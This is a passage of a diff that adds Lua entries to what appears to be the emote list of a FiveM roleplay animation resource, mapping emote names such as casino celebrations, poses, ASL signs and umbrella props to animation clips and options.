+ "frabi@femalepose@solo@firstsport",
+ "fem_pose_sport_005",
+ "Gym Pose 4 - Sit Ups Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 510,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+
+
+ -- CASINO DLC EMOTES (Requires gamebuild 2060 or higher)
+
+
+ ["karate"] = {
+ "anim@mp_player_intcelebrationfemale@karate_chops",
+ "karate_chops",
+ "Karate"
+ },
+ ["karate2"] = {
+ "anim@mp_player_intcelebrationmale@karate_chops",
+ "karate_chops",
+ "Karate 2"
+ },
+ ["cutthroat"] = {
+ "anim@mp_player_intcelebrationmale@cut_throat",
+ "cut_throat",
+ "Cut Throat"
+ },
+ ["cutthroat2"] = {
+ "anim@mp_player_intcelebrationfemale@cut_throat",
+ "cut_throat",
+ "Cut Throat 2"
+ },
+ ["mindblown"] = {
+ "anim@mp_player_intcelebrationmale@mind_blown",
+ "mind_blown",
+ "Mind Blown",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["mindblown2"] = {
+ "anim@mp_player_intcelebrationfemale@mind_blown",
+ "mind_blown",
+ "Mind Blown 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["boxing"] = {
+ "anim@mp_player_intcelebrationmale@shadow_boxing",
+ "shadow_boxing",
+ "Boxing",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["boxing2"] = {
+ "anim@mp_player_intcelebrationfemale@shadow_boxing",
+ "shadow_boxing",
+ "Boxing 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 4000
+ }
+ },
+ ["stink"] = {
+ "anim@mp_player_intcelebrationfemale@stinker",
+ "stinker",
+ "Stink",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["think4"] = {
+ "anim@amb@casino@hangout@ped_male@stand@02b@idles",
+ "idle_a",
+ "Think 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["adjusttie"] = {
+ "clothingtie",
+ "try_tie_positive_a",
+ "Adjust Tie",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 5000
+ }
+ },
+ ["shaka"] = {
+ "sign@hang_loose",
+ "base",
+ "Shaka 'Hang Loose'",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["shaka2"] = {
+ "sign@hang_loose_casual",
+ "base",
+ "Shaka 'Hang Loose Casual'",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["relax"] = {
+ "lying@on_grass",
+ "base",
+ "Relax",
+ AnimationOptions = {
+ EmoteLoop = true,
+ NotInVehicle = true,
+ StartDelay = 800,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["relax2"] = {
+ "lying@on_couch_legs_crossed",
+ "base",
+ "Relax 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ NotInVehicle = true,
+ StartDelay = 800,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["uwu"] = {
+ "uwu@egirl",
+ "base",
+ "UwU",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dab"] = {
+ "stand_dab@dark",
+ "stand_dab_clip",
+ "Dab",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sexypose"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy003",
+ "sexy003",
+ "Sexy Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose2"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy004",
+ "sexy004",
+ "Sexy Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose3"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy005",
+ "sexy005",
+ "Sexy Pose 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose4"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy006",
+ "sexy006",
+ "Sexy Pose 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose5"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy009",
+ "sexy009",
+ "Sexy Pose 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose6"] = { -- Custom Emote By Little Spoon
+ "littlespoon@sexy012",
+ "sexy012",
+ "Sexy Pose 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["sexypose7"] = { -- Custom Emote By Darks Animations
+ "bad_girls_pose3@darks37",
+ "bad_girls_pose3_clip",
+ "Sexy Pose 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["laydownsexy"] = { -- Custom emote by Struggleville
+ "anim@female_laying_sexy",
+ "laying_sexy_clip",
+ "Laying Down Sexy",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["model"] = { -- Custom emote by Struggleville
+ "anim@female_model_showoff",
+ "model_showoff_clip",
+ "Model Pose Sexy",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["model2"] = { -- Custom Emote By QueenSistersAnimations
+ "sitdownonknees@queensisters",
+ "sitdown_clip",
+ "Model Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["model3"] = { -- Custom emote by Struggleville
+ "anim@female_model_photo_cute",
+ "photo_cute_clip",
+ "Model Pose 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["layncry"] = {
+ "anim@amb@nightclub@lazlow@lo_sofa@",
+ "lowsofa_dlg_fuckedup_laz",
+ "Lay & Cry",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["layncry2"] = {
+ "anim@amb@nightclub@lazlow@lo_sofa@",
+ "lowsofa_base_laz",
+ "Lay & Cry 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["layncry3"] = {
+ "anim@amb@nightclub@lazlow@lo_sofa@",
+ "lowsofa_dlg_notagain_laz",
+ "Lay & Cry 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["layncry4"] = {
+ "anim@amb@nightclub@lazlow@lo_sofa@",
+ "lowsofa_dlg_notagain_laz",
+ "Lay & Cry 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["layncry5"] = {
+ "anim@amb@nightclub@lazlow@lo_sofa@",
+ "lowsofa_dlg_shit2strong_laz",
+ "Lay & Cry 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["layncry6"] = {
+ "misschinese2_crystalmaze",
+ "2int_loop_a_taocheng",
+ "Lay & Cry 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["airforce01"] = { -- MissSnowie
+ "airforce@at_ease",
+ "base",
+ "Airforce - At Ease", -- MissSnowie
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["airforce02"] = { -- MissSnowie
+ "airforce@attention",
+ "base",
+ "Airforce - Attention",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["airforce03"] = { -- MissSnowie
+ "airforce@parade_rest",
+ "base",
+ "Airforce - Parade Rest",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["airforce04"] = {
+ "airforce@salute",
+ "base",
+ "Airforce - Salute",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["zombiewalk"] = { -- Custom Emote By BoringNeptune
+ "zombies_animations",
+ "zombi_walk_01",
+ "Zombie Walk",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false -- true looks weird but the option is here
+ }
+ },
+ ["zombiewalk2"] = { -- Custom Emote By BoringNeptune
+ "zombies_animations",
+ "zombi_walk_02",
+ "Zombie Walk 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["zombieagony"] = { -- Custom Emote By BoringNeptune
+ "zombies_animations",
+ "agony",
+ "Zombie Agony",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["zombiescream"] = { -- Custom Emote By BoringNeptune
+ "zombies_animations",
+ "scream",
+ "Zombie Scream",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["zombiecrawl"] = { -- Custom Emote By BoringNeptune
+ "zombies_animations",
+ "crawl_01",
+ "Zombie Crawl",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "meditateup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["laysexy"] = { -- Custom Emote By Amnilka
+ "amnilka@photopose@female@homepack001",
+ "amnilka_femalehome_photopose_004",
+ "Lay Sexy",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["gungirl1"] = { -- Custom Emote By Struggleville
+ "anim@female_gunbunny_rifle_photo",
+ "rifle_photo_clip",
+ "Rifle Pose",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["vest"] = {
+ "anim@male@holding_vest",
+ "holding_vest_clip",
+ "Hold Vest",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["vest2"] = {
+ "anim@holding_side_vest",
+ "holding_side_vest_clip",
+ "Hold Vest 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["vest3"] = {
+ "anim@holding_siege_vest_side",
+ "holding_siege_vest_side_clip",
+ "Hold Vest 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["vest4"] = {
+ "anim@male@holding_vest_2",
+ "holding_vest_2_clip",
+ "Hold Vest 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["vest5"] = {
+ "anim@male@holding_vest_siege",
+ "holding_vest_siege_clip",
+ "Hold Vest 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["vest6"] = {
+ "anim@male@holding_vest_siege_2",
+ "holding_vest_siege_2_clip",
+ "Hold Vest 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["kick"] = {
+ "missheistdockssetup1ig_13@kick_idle",
+ "guard_beatup_kickidle_guard1",
+ "Kick",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["kick2"] = {
+ "missheistdockssetup1ig_13@kick_idle",
+ "guard_beatup_kickidle_guard2",
+ "Kick 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["kick3"] = {
+ "melee@unarmed@streamed_core",
+ "kick_close_a",
+ "Kick 3",
+ AnimationOptions = {
+ EmoteDuration = 1750
+ }
+ },
+ ["crosshands"] = {
+ "anim@amb@carmeet@checkout_car@",
+ "male_e_base",
+ "Cross hands",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["aslyes"] = {
+ "ebrwny_sign",
+ "ebrwny_yes",
+ "ASL Yes 🇺🇸",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1030
+ }
+ },
+ ["aslno"] = {
+ "ebrwny_sign",
+ "ebrwny_no",
+ "ASL No 🇺🇸",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2080
+ }
+ },
+ ["aslimgood"] = {
+ "ebrwny_sign",
+ "ebrwny_imgood",
+ "ASL I Am Good 🇺🇸",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3940
+ }
+ },
+ ["aslcya"] = {
+ "ebrwny_sign",
+ "ebrwny_seeya",
+ "ASL See Ya 🇺🇸",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1200
+ }
+ },
+ ["aslwhat"] = {
+ "ebrwny_sign",
+ "ebrwny_what",
+ "ASL What 🇺🇸",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1480
+ }
+ },
+ ["hidegun"] = { -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION
+ "pistol_b_b@dark", -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION
+ "pistol_b_b_clip", -- CREDIT TO DARKS ANIMATIONS FOR THIS EXCLUSIVE RPEMOTES ANIMATION
+ "Hide a gun",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["femaleposea"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_10",
+ "mrwitt",
+ "Female Pose A",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleadorable1"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@adorable_style",
+ "mrwitt",
+ "Female Adorable 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleadorable2"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@adorable",
+ "mrwitt",
+ "Female Adorable 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposeb"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@characterful_poses",
+ "mrwitt",
+ "Female Pose B",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposec"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@elegant_floor_hock",
+ "mrwitt",
+ "Female Pose C",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposed"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_03",
+ "mrwitt",
+ "Female Pose D",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposee"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_04",
+ "mrwitt",
+ "Female Pose E",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposef"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_05",
+ "mrwitt",
+ "Female Pose F",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposeg"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_06",
+ "mrwitt",
+ "Female Pose G",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposeh"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_07",
+ "mrwitt",
+ "Female Pose H",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposei"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_09",
+ "mrwitt",
+ "Female Pose I",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposej"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_10",
+ "mrwitt",
+ "Female Pose J",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposek"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@femalepose_11",
+ "mrwitt",
+ "Female Pose K",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposel"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@finger_gun_pose",
+ "mrwitt",
+ "Female Pose L",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposem"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@models_in_action",
+ "mrwitt",
+ "Female Pose M",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposen"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@photo_session_posing",
+ "mrwitt",
+ "Female Pose N",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposeo"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@school_uniform_expression",
+ "mrwitt",
+ "Female Pose O",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposep"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@urban_posing",
+ "mrwitt",
+ "Female Pose P",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["femaleposeq"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand13",
+ "xrd",
+ "Female Pose Q",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposer"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand14",
+ "xrd",
+ "Female Pose R",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposes"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand15",
+ "xrd",
+ "Female Pose S",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposet"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand16",
+ "xrd",
+ "Female Pose T",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposeu"] = { --- Custom Emote By DRX Animations
+ "drx@f_sitcool",
+ "drx",
+ "Female Pose U",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femaleposev"] = { --- Custom Emote By DRX Animations
+ "drx@f_standcasual1",
+ "drx",
+ "Female Pose V",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposew"] = { --- Custom Emote By DRX Animations
+ "drx@f_standcasual2",
+ "drx",
+ "Female Pose W",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposex"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand7",
+ "xrd",
+ "Female Pose X",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposey"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand8",
+ "xrd",
+ "Female Pose Y",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femaleposez"] = { --- Custom Emote By DRX Animations
+ "drx@femalestand9",
+ "xrd",
+ "Female Pose Z",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposea"] = { --- Custom Emote By DRX Animations
+ "drx@singlemale1",
+ "drx",
+ "Male Pose A",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+},
+["maleposeb"] = { --- Custom Emote By DRX Animations
+ "drx@singlemale2",
+ "drx",
+ "Male Pose B",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposec"] = { --- Custom Emote By DRX Animations
+ "drx@singlemalestand1",
+ "drx",
+ "Male Pose C",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposed"] = { --- Custom Emote By DRX Animations
+ "drx@singlemalestand2",
+ "drx",
+ "Male Pose D",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposee"] = { --- Custom Emote By DRX Animations
+ "drx@m_doublehands",
+ "drx",
+ "Male Pose E",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposef"] = { --- Custom Emote By DRX Animations
+ "drx@m_standhide",
+ "drx",
+ "Male Pose F",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposee1"] = { --- Custom Emote By DRX Animations
+ "drx@malestand2",
+ "xrd",
+ "Male Pose E1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposef1"] = { --- Custom Emote By DRX Animations
+ "drx@malestand3c",
+ "xrd",
+ "Male Pose F1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposeg"] = { --- Custom Emote By DRX Animations
+ "drx@pose_male",
+ "pose_male",
+ "Male Pose G",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposeh"] = { --- Custom Emote By MrWitt
+ "mrwitt@gentleman_style_male",
+ "mrwitt",
+ "Male Pose H",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposei"] = { --- Custom Emote By MrWitt
+ "mrwitt@thoughtful_man_m",
+ "mrwitt",
+ "Male Pose I",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["maleposetie"] = { -- Custom Emotes By MrWhitt Provided To RPEmotes 01/08/2023
+ "mrwitt@tie_perfection_in_suit_male",
+ "mrwitt",
+ "Male Pose Tie",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malecrossarms"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "cross_arms@dark",
+ "cross_arms_clip",
+ "Male Cross Arms",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malemiddlefinger"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "stand_middlefinger@dark",
+ "stand_middlefinger_clip",
+ "Male Middle Finger",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malefistface"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "fist_face@darksj",
+ "fist_face_clip",
+ "Male Fist Face",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malepose4"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "fuckm@nxsty",
+ "fuckm_clip",
+ "Male Pose 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malegunpose1"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "gun_ink@darksj",
+ "gun_ink_clip",
+ "Male Gun Pose 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malepose5"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "koko_male@darksj",
+ "koko_male_clip",
+ "Male Pose 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malepose3"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "male_solo_1@darksj",
+ "male_solo_1_clip",
+ "Male Pose 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malepose2"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "male_solo_3@darksj",
+ "male_solo_3_clip",
+ "Male Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malepose1"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "male_solo_4@darksj",
+ "male_solo_4_clip",
+ "Male Pose 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["maleshoecheck"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "side_shoe_check@darksj",
+ "side_shoe_check_clip",
+ "Male Shoe Check Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["malegangpose"] = { -- Custom Emotes By Darks Animations Provided To RPEmotes 01/08/2023
+ "westside_cap@darksj",
+ "westside_cap_clip",
+ "Male Gang Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ }
+ },
+ ["illuminati"] = { -- Custom Emote By EnchantedBrwny
+ "ebrwny_illum",
+ "ebrwny_illum003",
+ "Illuminati Hand Sign",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["illuminati2"] = { -- Custom Emote By EnchantedBrwny
+ "ebrwny_illum",
+ "ebrwny_illum001",
+ "Illuminati Hand Sign 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["illuminati3"] = { -- Custom Emote By EnchantedBrwny
+ "ebrwny_illum",
+ "ebrwny_illum002",
+ "Illuminati Hand Sign 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["gunpoint"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations
+ "male_gun@vanessssi",
+ "male_gun_clip",
+ "Gun Point - Robbery",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+
+
+}
+
+--- PROP EMOTES GO HERE. CURRENTLY SUPPORTS UP TO ONE OR TWO PROPS ---
+RP.PropEmotes = {
+ ["umbrella"] = {
+ "amb@world_human_drinking@coffee@male@base",
+ "base",
+ "Umbrella - Middle",
+ AnimationOptions = {
+ Prop = "p_amb_brolly_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0200,
+ -0.0360,
+ 0.0,
+ 10.0,
+ 0.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "shakeitoffhuman",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ['umbrella2'] = {
+ 'rcmnigel1d',
+ 'base_club_shoulder',
+ 'Umbrella 2 - Right Shoulder',
+ AnimationOptions = {
+ Prop = 'p_amb_brolly_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0700,
+ 0.0100,
+ 0.1100,
+ 2.3402393,
+ -150.9605721,
+ 57.3374916
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "shakeitoffhuman",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ['umbrella3'] = { --- Custom Emote Provided To RPEmotes By Mr Witt
+ 'mrwitt@rain_dreamy_pose',
+ 'mrwitt',
+ 'Umbrella 3 - Rain Check',
+ AnimationOptions = {
+ Prop = 'p_amb_brolly_01',
+ PropBone = 58867,
+ PropPlacement = {
+ 0.0150,
+ 0.0340,
+ -0.0340,
+ 16.0040,
+ -6.7284,
+ -0.9319
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "shakeitoffhuman",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ['umbrella4'] = { --- Custom Emote By Mr ultrahacx
+ 'custom@hold_umbrella',
+ 'hold_left',
+ 'Umbrella 4 - Hold Left',
+ AnimationOptions = {
+ Prop = 'p_amb_brolly_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0600,
+ -0.0100,
+ 0.0200,
+ -94.3996,
+ -1.7343,
+ 9.9656
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "shakeitoffhuman",
+ ExitEmoteType = "Exits"
+ }
+ },
+ -----------------------------------------------------------------------------------------------------
+ ------ This is an example of an emote with 2 props, pretty simple! ----------------------------------
+ -----------------------------------------------------------------------------------------------------
+ ["notepad"] = {
+ "missheistdockssetup1clipboard@base",
+ "base",
+ "Notepad",
+ AnimationOptions = {
+ Prop = 'prop_notepad_01',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.1,
+ 0.02,
